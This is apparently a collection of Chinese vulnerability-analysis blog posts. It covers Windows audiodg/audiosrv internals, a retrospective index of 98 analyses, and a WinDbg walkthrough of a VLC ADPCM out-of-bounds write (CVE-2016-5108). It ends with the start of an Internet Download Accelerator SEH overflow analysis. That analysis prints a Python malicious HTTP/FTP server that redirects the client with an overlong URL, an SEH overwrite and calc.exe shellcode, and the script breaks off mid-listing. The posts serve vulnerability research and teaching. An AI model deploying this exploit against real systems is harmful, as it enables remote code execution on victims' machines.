00000005`0bafe690 00007ff9`229bb4a6 RPCRT4!Invoke+0x73

当然,当audiodg.exe进程已经存在的时候,AudioServerInitialize_Internal会直接跳转,不会进入到后续分支(比如使用james forshaw的这种方法在调用Initialize的时候会先进入这个函数,但是如果audiodg.exe进程存在则不会进入创建进程的分支),这点感兴趣的读者可以自己调试,代码实现也在AudioServerInitialize_Internal函数中。

因此实际上IMMDevieEnumerator只是确保audiodg.exe一定会被创建出来,若当前系统audiodg.exe已被创建,可以直接通过NtQuerySystemInformation的方法把audiodg.exe进程空间句柄表的section object获取出来,再通过NtMapViewOfSection映射进当前进程空间。

当然关于section的创建并不是在AudioServerInitialize中完成的,这就是第二个有趣的地方,如果想正常调试james forshaw的PoC的内容,我们需要kill掉taskhostw进程,同时kill掉audiodg.exe,这时候不要再做其他的声卡相关操作,否则又会在audiosrv触发创建audio.srv流程(比如SndVol.exe进程)。


第二点我们来看看IAudioClient是怎么把audiodg.exe及section创建出来的,其实我们在当前中调用COM接口,一直是进程内通信,audioses.dll被加载进当前空间并调用它的方法。而之所以会out-of-process调用到audiosrv方法,其实是IAudioClient中调用了RPC接口。

IAuidoClient的Initialize方法会调用CAudioClient::InitializeInternalHelper函数,最终调用CAudioClient::InitializeAudioServer向audioserver发送rpc请求,当audiodg.exe进程不存在时,server调用CreateProcess创建audiodg.exe, InitializeAudioServer的函数实现如下:

__int64 __fastcall CAudioClient::InitializeAudioServer(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7)
{
  LODWORD(v8) = GetAudioServerBindingHandle(a1, L"AudioClientRpc", (RPC_BINDING_HANDLE *)&v10);
  if ( (signed int)v8 < 0
    || (CAudioClient::GetVadServerSettings(v7, (__m128i *)&v12),
        v8 = NdrClientCall3(&pProxyInfo, 4u, 0i64, v10).Pointer,
        v11 = (__int64)v8,
        (signed int)v8 < 0) )
  {

其中NdrClientCall3最终调用RPC过程,它的第二个参数指向ProcNum,我们可以通过RPCView看到函数调用,或者直接通过IDA pro查看RPC Server调用RpcServerRegisterIf3时的MIDL规范的结构体找到IDL的方法。

RPC Server的注册过程在CAudioSrv::VAD_AudiosrvServiceStart中实现。

最终创建audiodg.exe进程,关于进程创建我在上面已经提到,这里不再赘述,这时虽然audiodg.exe被创建,但是section并未创建在audiodg.exe进程中。

接下来在调用完CAudioClient::InitializeAudioServer之后,会继续调用CAudioClient::CreateRemoteStream,这同样是一个RPC调用过程。

__int64 __fastcall CAudioClient::CreateRemoteStream(__int64 a1)
{
  v1 = *(_DWORD *)(a1 + 180);
  v2.Pointer = NdrClientCall3(&pProxyInfo, 7u, 0i64, *(_QWORD *)(a1 + 0xD8)).Pointer;

ProcNum为7,根据IDL可以知道这个CreateRemoteStream会在AudioServerCreateStream,可以在svchost中通过be a1 audiosrv!AudioServerCreateStream下断点,之后在Client单步执行即可命中断点。之后继续跟踪,调用过程如下:

audiosrv!CVADServer::CreateStream
                |
audiosrv!CAudioResourceManager::CreateStream
                |       
audiosrv!InitializeStreamAndModeDescriptors
                |
audiosrv!CCompositeSystemEffect::Initialize

最终在CCompositeSystemEffect::Initialize会调用MakeAndInitialize函数之后调用CoCreateInstance创建APOWrapperSrv Class方法实例,在audiodg.exe列集过程中会通过file mapping创建stream的section。可以在audiodg.exe这样下断点:ba e1 ntdll!NtCreateSection。在svchost中单步执行会观察到audiodg.exe进程命中断点。

0:007> pc
audiosrv!CCompositeSystemEffect::Initialize+0x127:
00007ffd`04b2bd27 e834a40000      call    audiosrv!Microsoft::WRL::Details::MakeAndInitialize<CAPOWrapperClient,IAudioProcessingObject,unsigned short const * __ptr64 & __ptr64,enum APO_TYPE & __ptr64,_GUID const & __ptr64> (00007ffd`04b36160)
0:007> p

0:004> g
Breakpoint 0 hit
ntdll!NtCreateSection:
00007ffd`11e9ffc0 4c8bd1          mov     r10,rcx
0:001> k
Child-SP          RetAddr           Call Site
0000009c`8807b828 00007ffd`0e155521 ntdll!NtCreateSection
0000009c`8807b830 00007ffd`0e156570 KERNELBASE!CreateFileMappingNumaW+0x111
0000009c`8807b8f0 00007ffd`11548049 KERNELBASE!CreateFileMappingW+0x20
0000009c`8807b940 00007ffd`11548477 clbcatq!StgIO::MapFileToMem+0x79
0000009c`8807b980 00007ffd`11546cf8 clbcatq!StgIO::Open+0x25b
0000009c`8807ba00 00007ffd`1153b636 clbcatq!StgDatabase::InitDatabase+0x108
0000009c`8807ba60 00007ffd`1153b4e1 clbcatq!OpenComponentLibraryEx+0x66
0000009c`8807bab0 00007ffd`1153adf1 clbcatq!OpenComponentLibraryTS+0x21
0000009c`8807bae0 00007ffd`1153b2f2 clbcatq!_RegGetICR+0x129
0000009c`8807bda0 00007ffd`11526fd2 clbcatq!CoRegGetICR+0x76
0000009c`8807bdd0 00007ffd`11521b41 clbcatq!CComClass::Init+0x5442
0000009c`8807bf90 00007ffd`1123eb9f clbcatq!CComCLBCatalog::GetClassInfoW+0x81
0000009c`8807bfe0 00007ffd`1123e71d combase!CComCatalog::GetClassInfoInternal+0x3ef [onecore\com\combase\catalog\catalog.cxx @ 3419]
0000009c`8807c220 00007ffd`1125febc combase!CComCatalog::GetClassInfoW+0x5d [onecore\com\combase\catalog\catalog.cxx @ 1114]
0000009c`8807c370 00007ffd`1125cb14 combase!GetClassInfoWithInprocOrLocalServer+0x70 [onecore\com\combase\inc\comcataloghelpers.hpp @ 58]
0000009c`8807c3c0 00007ffd`1125b91b combase!wCoGetTreatAsClass+0x88 [onecore\com\combase\class\cogettreatasclass.cpp @ 44]
0000009c`8807c490 00007ffd`1125b35f combase!CClassCache::CClassEntry::Complete+0x67 [onecore\com\combase\objact\dllcache.cxx @ 751]
0000009c`8807c500 00007ffd`11224f01 combase!CClassCache::CClassEntry::Create+0x4b [onecore\com\combase\objact\dllcache.cxx @ 872]
0000009c`8807c560 00007ffd`1125aec5 combase!CClassCache::GetClassObjectActivator+0x571 [onecore\com\combase\objact\dllcache.cxx @ 5424]
0000009c`8807c6d0 00007ffd`11222606 combase!CClassCache::GetClassObject+0x45 [onecore\com\combase\objact\dllcache.cxx @ 5271]
0000009c`8807c740 00007ffd`1123d937 combase!ICoGetClassObject+0x6f6 [onecore\com\combase\objact\objact.cxx @ 1500]
0000009c`8807cae0 00007ffd`1123ce28 combase!GetPSFactoryInternal+0x1f7 [onecore\com\combase\dcomrem\riftbl.cxx @ 2542]
0000009c`8807cc20 00007ffd`112416d0 combase!CStdMarshal::GetPSFactory+0x50 [onecore\com\combase\dcomrem\marshal.cxx @ 6408]
0000009c`8807cd70 00007ffd`1124584a combase!CStdMarshal::CreateStub+0x120 [onecore\com\combase\dcomrem\marshal.cxx @ 6681]
0000009c`8807cfa0 00007ffd`1124467c combase!CStdMarshal::MarshalObjRefImpl+0x5ca [onecore\com\combase\dcomrem\marshal.cxx @ 1157]
0000009c`8807d110 00007ffd`1123933f combase!CStdMarshal::MarshalObjRef+0x8c [onecore\com\combase\dcomrem\marshal.cxx @ 1078]

在MakeAndInitialize中关键调用如下:

 v15 = CoCreateInstance(
            &GUID_3a8b5a92_80b0_48b3_8197_701ecd3261e4,
            0i64,
            0x17u,
            &GUID_69fed9b6_5405_48b8_3db0_4ca492fc3677,
            (LPVOID *)v9 + 7);

最终创建APOWrapperSrv Class的IAPOWrapperSrv接口实例,在audiodg中会创建storage类型的database,从而调用file mapping创建一个section。这个section会在后面作为共享stream使用。

待解决的问题:

我是在rs5 x64的环境下调试的这个漏洞,在分析的过程中也发现了james Forshaw在case下留的几点rs5环境下的安全机制,有待后续研究。

作者能力有限,若有错误请指正,感谢阅读。

写在98篇漏洞分析之后---2019.03.09

8 March 2019 at 16:00

作者:k0shl


写在前面


今天结束了最后一篇漏洞分析的分享,意味着我在15-16年分析的98篇漏洞分析全部分享结束了,我的博客从2016年10月23日上线之后一直保持更新,到现在经过了两年半的时间,感谢小伙伴们一直以来的支持。这98篇漏洞分析,也几乎是我15-16年学习二进制的全部回忆。

我在15-16年处于入门阶段,由于那段时间一直是自己学习,踩了很多坑,也学习到了很多东西,感谢帮助过我的前辈老师还有小伙伴们,以及看雪,i春秋,drops,玄武、wiki的推送以及大佬们的个人博客等等很多优质的学习资源,让我不断的意识到错误,改正错误,并始终保持着对技术的敬畏。

尤其是exploit-db,我这98篇文章几乎全部都是来自exploit-db,exploit-db提供了exploit/PoC,以及漏洞软件下载的地址,paper以及一些漏洞细节的说明,这让我在搭建环境方面节省了太多的精力,很多进行过漏洞分析的小伙伴可能深有体会,很多时候漏洞分析很快,但是搭建环境的坑很多。

也正是15-16年的学习让我从一个二进制的门外汉慢慢变成了一个初出茅庐的新手,深感二进制魅力无穷,01的世界精彩,也结实了很多很多好朋友,在他们身上学到了很多。

在更新的这两年半的时间里,不断收到邮件和QQ好友申请,有很多看过支持过我的读者们和我交流技术,提出建议,在带着技术疑问对我曾经的漏洞分析的复盘中,我发现了自己曾经许多的知识误区并及时改正,感谢与我讨论的读者们。

这两年半我也经历了很多重要的人生抉择,其实我也不知道在未来看自己当年的抉择是否正确,但至少我绝对不会后悔,因为至少现在看我的抉择是正确的,并且人生如棋,既然落子,那就不会也不能再后悔。感谢家人的支持,不光是人生抉择上,还有我当时在进行学习时的鼓励。

在这段时间我同时也在一些优质媒体诸如安全客等等上分享过一些这段时间的一些新的漏洞分析,相比较这98篇漏洞分析要更深入一些,也算是我成长的轨迹。最后还是要感谢所有支持过,看过我博客的读者们,今后我的博客也将继续保持不定期更新,分享一些最新的研究成果。

我把我这98篇漏洞分析按照漏洞类型进行了总结归纳在这里分享给大家,也作为一个分割线,结束是新的奋斗的开始,今后要继续努力啦!


漏洞总结索引


越界读写

TCPDUMP 4.5.2拒绝服务漏洞
NetCat【nc】 0.7.1 远程拒绝服务漏洞
VideoLAN VLC Media Player 2.2.1

栈溢出

HALLIBURTON LOGVIEW PRO拒绝服务漏洞
ABSOLUTEFTP 远程代码执行漏洞
Mini httpd远程代码执行漏洞(CVE-2013-5019)
PHP 5.0.0 tidy_parse_file代码执行漏洞
Asx to MP3本地代码执行漏洞
Cain RDP缓冲区溢出漏洞(CVE-2008-5405)
EFS Software HTTP Server远程代码执行漏洞
DameWare Mini Client远程代码执行漏洞(CVE-2016-2345)
i-FTP SEH缓冲区溢出漏洞
AutoPlay远程代码执行漏洞
putty pscp远程代码执行漏洞(CVE-2016-2563)
Free WMA MP3 Converter 1.8缓冲区溢出漏洞
Freefloat FTP Server远程代码执行漏洞
Disk Pulse Enterprise远程代码执行漏洞
MPlayer Lite栈溢出漏洞
CuteZip 2.1代码执行漏洞
Soritong MP3 Player代码执行漏洞
W10 NOVUS SCADA工控远程拒绝服务漏洞
WinCalc 2 .num栈溢出漏洞
Konica Minolta FTP CWD命令远程代码执行漏洞(CVE-2015-7768)
Ministream RM-MP3 CONVERTER远程代码执行漏洞(CVE-2014-9448)
Winstats(.fma)本地栈溢出漏洞
Mini-STREAM RIPPER .pls缓冲区溢出漏洞
INTELLITAMPER .map代码执行漏洞(CVE-2008-5755)
MP3Info 0.8.5a代码执行漏洞(CVE-2006-2465)
NOIP本地代码执行漏洞
[CVE-2011-5165]Free MP3 CD Ripper本地代码执行漏洞
CamShot1.2远程代码执行漏洞(SEH)
Photodex Proshow Producer本地代码执行漏洞
Video Charge Studio缓冲区溢出漏洞
xRadio 0.95b '.xrl'本地代码执行漏洞
[CVE-2015-7547]glibc getaddrinfo栈溢出漏洞
FTPShell Client 5.24本地文件创建功能缓冲区溢出漏洞
Destiny Media Player 1.61 'm3u'文件格式缓冲区溢出漏洞
Xion Audio Player '.m3u8'缓冲区溢出漏洞分析
BS.Player 2.57缓冲区溢出漏洞分析
HTML Help Workshop .SEH本地代码执行漏洞
[CVE-2008-5405]Cain and Abel 4.9.24 RDP 缓冲区溢出漏洞
WS10 Data Server工控服务远程代码执行漏洞
iSQL Linux SQL管理工具缓冲区溢出漏洞
[CVE-2014-4158]Kolibri2.0远程代码执行漏洞分析
[CVE-2013-5019]Ultra Mini httpd 1.21远程代码执行漏洞分析
PInfo 0.6.9-5.1本地代码执行漏洞
HNB 1.9本地代码执行漏洞
Sunway Force Control SCADA 6.1 SP3工控服务远程代码执行漏洞
VUPlayer 2.49缓冲区溢出漏洞
Prosshd 1.2 post远程代码执行漏洞
TFTP Server 1.4远程代码执行漏洞分析
CoolPlayer+ Portable 2.19.6 - .m3u缓冲区溢出漏洞
MediaCoder 0.8.43.5852 - .m3u缓冲区溢出漏洞
Halliburton LogView Pro 9.7.5远程代码执行漏洞
EasyFTP Server 1.7.0.11 APPE远程代码执行漏洞
NScan 0.91 本地代码执行漏洞
LamaHub 0.0.62远程代码执行漏洞
阿里旺旺2010远程代码执行漏洞
EKG Gadu 本地代码执行漏洞
php 5.0 tidy_parse_file缓冲区溢出漏洞
Disk Pulse Enterprise远程代码执行漏洞
WDK 8.1 kill.exe内存破坏漏洞
LanSpy 2.0.0.155本地代码执行漏洞
Network Scanner 4.0.0本地代码执行漏洞分析
GNU GTypist 2.9.5-2本地拒绝服务漏洞
uSQLite1.0.0远程代码执行漏洞
WinaXe 7.7 远程代码执行漏洞
Dual DHCP DNS Server 7.29远程拒绝服务漏洞
ConQuest DICOM Server 1.4.17d 远程代码执行漏洞
Internet Download Accelerator 6.10.1.1527 远程代码执行漏洞

空指针引用

FreeBSD 10.1 x86内核拒绝服务漏洞
onehttpd 0.7远程拒绝服务漏洞分析
[CVE-2013-3299]RealPlayer拒绝服务漏洞
Axessh 4.2拒绝服务漏洞

内存破坏

BIND 9 buffer.c断言拒绝服务漏洞
GOMPlayer2.2wav格式拒绝服务漏洞
CP3 Studio PC异常处理函数拒绝服务漏洞
HTTPBLITZ远程拒绝服务漏洞
CVE-2011-3478 Symantec pcAnywhere远程代码执行漏洞
nrss reader 0.3.9本地代码执行漏洞

整数溢出

[CVE-2016-1885]FreeBSD 10.2 x64整数溢出漏洞分析
Easy Internet Sharing Proxy Server 2.2整数溢出远程代码执行漏洞
Serva 3.0.0 HTTP Server整数溢出远程拒绝服务漏洞

释放后重用

CVE-2011-0065 Firefox释放后重用漏洞
[CVE-2016-0111]IE SetAttributeStringAndPointer释放后重用漏洞分析
[MS12-077]IE10 CMarkup Use After Free漏洞分析
[MS16-063]IE11浏览器释放后重用漏洞
Microsoft Internet Explorer 11.0.9600.18482 - Use After Free

逻辑

FHFS 1.2.1命令执行漏洞分析
LShell<=0.9.15远程代码执行漏洞
VSFTPD v2.3.4后门分析
JCG路由命令执行漏洞分析
Proftpd-1.3.3c后门分析
[CVE-2014-6287]Rejetto HTTP File Server远程命令执行漏洞分析

堆溢出

[CVE-2013-0658]Schneider Electirc Accutech工控服务堆溢出漏洞分析
[CVE-2014-9707]Goahead 3.1-3.4堆溢出远程代码执行漏洞
Windbg logviewer.exe缓冲区溢出漏洞

[CVE-2016-5108]VideoLAN VLC Media Player 2.2.1越界写拒绝服务漏洞

8 March 2019 at 16:00

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


VideoLAN VLC Media Player是一款播放器,这个漏洞编号为CVE-2016-5108,播放器在处理某数据的时候,由于处理某数据时没有对数据长度进行严格校验,导致越界写入引发拒绝服务漏洞,下面对此漏洞进行详细分析。

软件下载:
https://www.exploit-db.com/apps/b8c997e772be343e1664fee14c1fb9b7-vlc-2.2.1-win32.exe

PoC:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41025.mov


漏洞复现


首先打开VLC,打开mov文件,程序崩溃,附加windbg

(1588.788): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=0000178f ecx=00000058 edx=0000178f esi=0d1fd000 edi=1a44fdc8
eip=68322501 esp=1a44fd30 ebp=155cb8de iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll - 
libadpcm_plugin+0x2501:
68322501 66891e          mov     word ptr [esi],bx        ds:0023:0d1fd000=????

通过kb回溯堆栈调用

0:024> kb
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\KERNELBASE.dll - 
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
1a44fd38 75536a18 7a0e1e88 1a44fdc8 0d1fd000 libadpcm_plugin+0x2501
00000000 00000000 00000000 00000000 00000000 KERNELBASE!InterlockedCompareExchange+0xf8

之前只有一个Interlock的原子函数调用,来看一下当前是用bx向esi指针写入数据,esi指针的值是一个无效值,来看一下之前的情况。

0:024> dd 0d1fd000-8
0d1fcff8  c0c0178f c0c0c0c0 ???????? ????????

可以看到,前面还有值,这有可能是一个长度控制不严格引发的越界写漏洞。


漏洞分析


分析的过程中,发现了这个漏洞处于一个函数中。

int __cdecl sub_714C18B0(int a1, int *a2)
{
    while ( 1 )
    {
    }
}

函数sub_714c18b0中有一处while循环,这个while循环代码量很长,执行的是一个向内存拷贝的操作,这里我就不具体分析整个代码逻辑,只看关键部分,首先是对待拷贝区的赋值。

.text:714C24B7 ; 846:         v83 = 88;
.text:714C24B7                 cmova   ecx, eax
.text:714C24BA                 mov     [esi], edx

714c24ba地址执行完毕后,edx存放的是待拷贝缓冲区的指针,它会交给esi地址中。

0:012> g
Breakpoint 0 hit
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf24ba esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x24ba:
6bdf24ba 8916            mov     dword ptr [esi],edx  ds:0023:16d2fdc8=16d2fd74
0:006> p
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf24bc esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x24bc:
6bdf24bc 897c2418        mov     dword ptr [esp+18h],edi ss:0023:16d2fd48=16d2fde8
0:006> dd 16d2fdc8
16d2fdc8  0e1f6e40

之后每轮都会向这个缓冲区指针内写入值,接下来继续单步跟踪,发现了要拷贝字符串的赋值。

0:006> p
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf24c0 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x24c0:
6bdf24c0 e9ef000000      jmp     libadpcm_plugin+0x25b4 (6bdf25b4)
0:006> p
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf25b4 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x25b4:
6bdf25b4 8b3c8dc062df6b  mov     edi,dword ptr libadpcm_plugin!vlc_entry_license__2_2_0b+0x2c20 (6bdf62c0)[ecx*4] ds:0023:6bdf6390=00000424

在6bdf25b4地址位置执行了一处赋值操作,会把6bdf62c0这个固定缓冲区中的内容拷贝到edi中,而是从ecx*4+6bdf62c0的位置向前拷贝,ecx会逐步减少,拷贝的长度就是(6bdf6390-6bdf62c0)*8,这个后面会提到。

接下来会将edi的值加eax的值,这个eax就是每次循环最后赋值的值,相加后算数右移3位。

0:006> p
eax=00000058 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424
eip=6bdf25bf esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x25bf:
6bdf25bf 89f8            mov     eax,edi
0:006> p
eax=00000424 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424
eip=6bdf25c1 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x25c1:
6bdf25c1 c1f803          sar     eax,3
0:006> p
eax=00000084 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424
eip=6bdf25c4 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
libadpcm_plugin+0x25c4:
6bdf25c4 89de            mov     esi,ebx

算数右移后的值在eax中,是0x84,随后会将eax的值交给ebx,再把ebx的值和上一轮的值相加。

0:006> p
eax=00000084 ebx=00000000 ecx=00000034 edx=000004a8 esi=00000000 edi=00000424
eip=6bdf25cf esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libadpcm_plugin+0x25cf:
6bdf25cf 0f44d0          cmove   edx,eax
0:006> p
eax=00000084 ebx=00000000 ecx=00000034 edx=00000084 esi=00000000 edi=16d2fdc8
eip=6bdf25f4 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libadpcm_plugin+0x25f4:
6bdf25f4 0317            add     edx,dword ptr [edi]  ds:0023:16d2fdc8=00001200

最后会将edx的值先存放进eax指针,这个指针很熟悉吧,就是之前相加的指针,之后每次都会叠加,而edx同时也会交给ebx,最后ebx会执行拷贝。

0:006> p
eax=16d2fdc8 ebx=00000000 ecx=00000034 edx=00001284 esi=00000000 edi=16d2fdc8
eip=6bdf3494 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x3494:
6bdf3494 8910            mov     dword ptr [eax],edx  ds:0023:16d2fdc8=00001200
0:006> p
eax=16d2fdc8 ebx=00000000 ecx=00000034 edx=00001284 esi=00000000 edi=16d2fdc8
eip=6bdf3496 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x3496:
6bdf3496 89d3            mov     ebx,edx
0:006> p
eax=00000033 ebx=00001284 ecx=00000058 edx=00001284 esi=0e1f6e40 edi=16d2fdc8
eip=6bdf2501 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
libadpcm_plugin+0x2501:
6bdf2501 66891e          mov     word ptr [esi],bx        ds:0023:0e1f6e40=c0c0

那么现在这个漏洞的原因就很清晰了,从6bdf6390开始向前依次拷贝内容,每次拷贝的内容都会交给固定指针,这个指针里的值会进行叠加算术右移等操作,之后继续进行拷贝,而这个长度没有进行控制。

而每一轮拷贝,拷贝区长度都会加0x10。

0:006> p
eax=00000033 ebx=00001284 ecx=00000058 edx=00001284 esi=0e1f6e40 edi=16d2fdc8
eip=6bdf2501 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
libadpcm_plugin+0x2501:
6bdf2501 66891e          mov     word ptr [esi],bx        ds:0023:0e1f6e40=c0c0
0:006> g
Breakpoint 1 hit
eax=00000031 ebx=00001369 ecx=00000058 edx=00001369 esi=0e1f6e50 edi=16d2fdc8
eip=6bdf2501 esp=16d2fd30 ebp=11b208c3 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
libadpcm_plugin+0x2501:
6bdf2501 66891e          mov     word ptr [esi],bx        ds:0023:0e1f6e50=c0c0

注意esi的值,接下来来看一下几轮拷贝之后esi最开始拷贝位置的值的前后变化。

0:006> dd esi
0e1f6e40  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e50  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e60  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e70  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e80  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e90  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6ea0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0:006> dd 0e1f6e40
0e1f6e40  c0c01284 c0c0c0c0 c0c012fc c0c0c0c0
0e1f6e50  c0c01369 c0c0c0c0 c0c013cc c0c0c0c0
0e1f6e60  c0c01426 c0c0c0c0 c0c01478 c0c0c0c0
0e1f6e70  c0c014c2 c0c0c0c0 c0c01506 c0c0c0c0
0e1f6e80  c0c01543 c0c0c0c0 c0c0157b c0c0c0c0
0e1f6e90  c0c015ae c0c0c0c0 c0c015dc c0c0c0c0
0e1f6ea0  c0c01606 c0c0c0c0 c0c0162c c0c0c0c0
0e1f6eb0  c0c0164e c0c0c0c0 c0c0166d c0c0c0c0

而拷贝区的内容则是这样

0:006> dd 6bdf6360
6bdf6360  00000151 00000173 00000198 000001c1
6bdf6370  000001ee 00000220 00000256 00000292
6bdf6380  000002d4 0000031c 0000036c 000003c3
6bdf6390  00000424 0000048e 00000502 00000583
6bdf63a0  00000610 000006ab 00000756 00000812
6bdf63b0  000008e0 000009c3 00000abd 00000bd0
6bdf63c0  00000cff 00000e4c 00000fba 0000114c

也就是说,每次拷贝4个字节,经过算法处理后,会在待拷贝区偏移8字节,长度还要乘以2,最后也就是说拷贝的长度,超过了申请buffer的长度,造成了越界写,引发了异常。

这个漏洞不能造成任意地址写,因此不能利用,是个拒绝服务漏洞。

Internet Download Accelerator 6.10.1.1527 远程代码执行漏洞

1 March 2019 at 16:00

作者: k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


Internet Download Accelerator是一个下载工具,在处理http下载的时候,由于对于下载的路径长度没有进行有效的检查,导致调用一个叫做strlcopy函数的时候,由于拷贝导致栈溢出,后续再次引用某指针的时候,由于指针被覆盖,进入SEH异常处理函数,通过覆盖SEH指针,导致代码执行。下面进行详细分析。

软件下载:
https://www.exploit-db.com/apps/a1d0daafa9262927c63c37edd1214fe2-idasetup.exe

PoC:

import SocketServer
import threading


# IP to listen to, needed to construct PASV response so 0.0.0.0 is not gonna work.
ip = "192.168.1.100"
ipParts = ip.split(".")
PasvResp = "("+ ipParts[0]+ "," + ipParts[1]+ "," + ipParts[2] + "," + ipParts[3] + ",151,130)"
# Run Calc.exe
buf=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")





class HTTPHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our HTTP server.

    This is just so we don't have to provide a suspicious FTP link with long name.
    """

    def handle(self):
        # self.request is the TCP socket connected to the client
        self.data = self.request.recv(1024).strip()
        print "[*] Recieved HTTP Request"
        print "[*] Sending Redirction To FTP"
        # just send back the same data, but upper-cased
    # SEH Offset 336 - 1056 bytes for the payload - 0x10011b53 unzip32.dll ppr 0x0c
    payload = "ftp://192.168.1.100/"+ 'A' * 336 + "\xeb\x06\x90\x90" + "\x53\x1b\x01\x10" + buf + "B" * (1056 - len(buf))
    self.request.sendall("HTTP/1.1 302 Found\r\n" +
    "Host: Server\r\nConnection: close\r\nLocation: "+ 
    payload+
    "\r\nContent-type: text/html; charset=UTF-8\r\n\r\n")
    print "[*] Redirection Sent..."

class FTPHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our FTP server.

    This will work normally and open a data connection with IDA.
    """

    def handle(self):
        # User Command
    self.request.sendall("220 Nasty FTP Server Ready\r\n")
    User = self.request.recv(1024).strip()
        print "[*] Recieved User Command: " + User
    self.request.sendall("331 User name okay, need password\r\n")   
    # PASS Command
        Pass = self.request.recv(1024).strip()
        print "[*] Recieved PASS Command: " + Pass
    self.request.sendall("230-Password accepted.\r\n230 User logged in.\r\n")
        # SYST Command
    Syst = self.request.recv(1024).strip()
        print "[*] Recieved SYST Command: " + Syst
    self.request.sendall("215 UNIX Type: L8\r\n")
    # TYPE Command
    Type = self.request.recv(1024).strip()
    print "[*] Recieved Type Command: " + Type
    self.request.sendall("200 Type set to I\r\n")
    # REST command
    Rest = self.request.recv(1024).strip()
    print "[*] Recieved Rest Command: " + Rest
    self.request.sendall("200 OK\r\n")
    # CWD command
    Cwd = self.request.recv(2048).strip()
    print "[*] Recieved CWD Command: " + Cwd
    self.request.sendall("250 CWD Command successful\r\n")
    
    # PASV command.
    Pasv = self.request.recv(1024).strip()
    print "[*] Recieved PASV Command: " + Pasv
